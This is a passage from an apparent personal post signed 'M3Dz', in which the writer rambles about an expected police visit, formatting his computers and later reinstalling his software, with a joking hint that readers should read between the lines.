and shouldn't have any warrants outstanding I can only conclude that maybe I've
lost something with my name on it and they are returning it for me. Either that
or there has been a medical emergency in the family. Either way there's not
much I can do about it just now tired as I am.
I will get back to sleep now because I'm totally useless when I'm tired
(Definitely not a morning person). When I wake up I will go up to the station
and see what the problem is, hopefully Its good news.
My main machines I wasn't able to format as they were busy - I'll probably set
them away while I go up to the station cus I am a complete technohead and it
drives me nuts to sit and watch a machine doing something and knowing that I
can't use it till its done, wait-time always passes quicker when you go do
something else anyhow, you noticed that ?
So you wont see me again, or have any email returned till I have got back from
the police station and start reinstalling all my software.
Sorry about this rambling story, see you all soon, I really am going to miss
you all trying to unscramble fact from fantasy in my posts :) As always, you
should read between the lines of any post if you wish to know the truth :)
M3Dz
<EOF>

S-ar putea să vă placă și